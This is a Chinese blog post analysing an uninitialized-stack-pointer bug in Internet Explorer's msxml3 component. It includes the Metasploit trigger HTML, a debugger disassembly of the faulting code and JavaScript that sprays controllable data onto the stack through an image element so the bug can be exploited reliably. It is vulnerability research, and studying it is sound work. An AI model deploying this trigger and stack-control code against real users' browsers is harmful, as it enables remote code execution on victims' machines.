原文地址http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html

MSF的触发代码如下:

< o bject classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx">

script

↑自行加上<>

do cument.getElementById("xx").object.definition(0);

script

↑自行加上<>

触发时的代码如下:

0:015> u 5dd8d7c9 L50

msxml3!_dispatchImpl::InvokeHelper+0x93:

5dd8d7c9 8b45ec mov eax,dword ptr

5dd8d7cc 3bc3 cmp eax,ebx

5dd8d7ce 8bf0 mov esi,eax

5dd8d7d0 7426 je msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8)

5dd8d7d2 ff7528 push dword ptr

5dd8d7d5 8b08 mov ecx,dword ptr

5dd8d7d7 ff7524 push dword ptr

5dd8d7da ff7520 push dword ptr

5dd8d7dd 57 push edi

5dd8d7de 6a03 push 3

5dd8d7e0 ff7514 push dword ptr

5dd8d7e3 6870a8d85d push offset msxml3!GUID_NULL (5dd8a870)

5dd8d7e8 53 push ebx

5dd8d7e9 50 push eax

5dd8d7ea ff5118 call dword ptr

其中 5dd8d7c9 8b45ec mov eax,dword ptr [ebp-14h] 中 eax的值来自于栈上,栈上的值未经初始化,被直接用做对象指针后就会出现问题。要稳定利用该漏洞,就需要对eax的值进行控制,只要预先在栈上排布我们要的数据就可以,比如 unescape("%u1111%u1111")。以下代码可以实现该功能:

var src = unescape("%u1111%u1111");

while (src.length < 0x1002) src += src;

src = "\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

执行完 pic.nameProp 后,就会在栈上留下0x2000左右大小的可控数据。

[

Comments
Write a Comment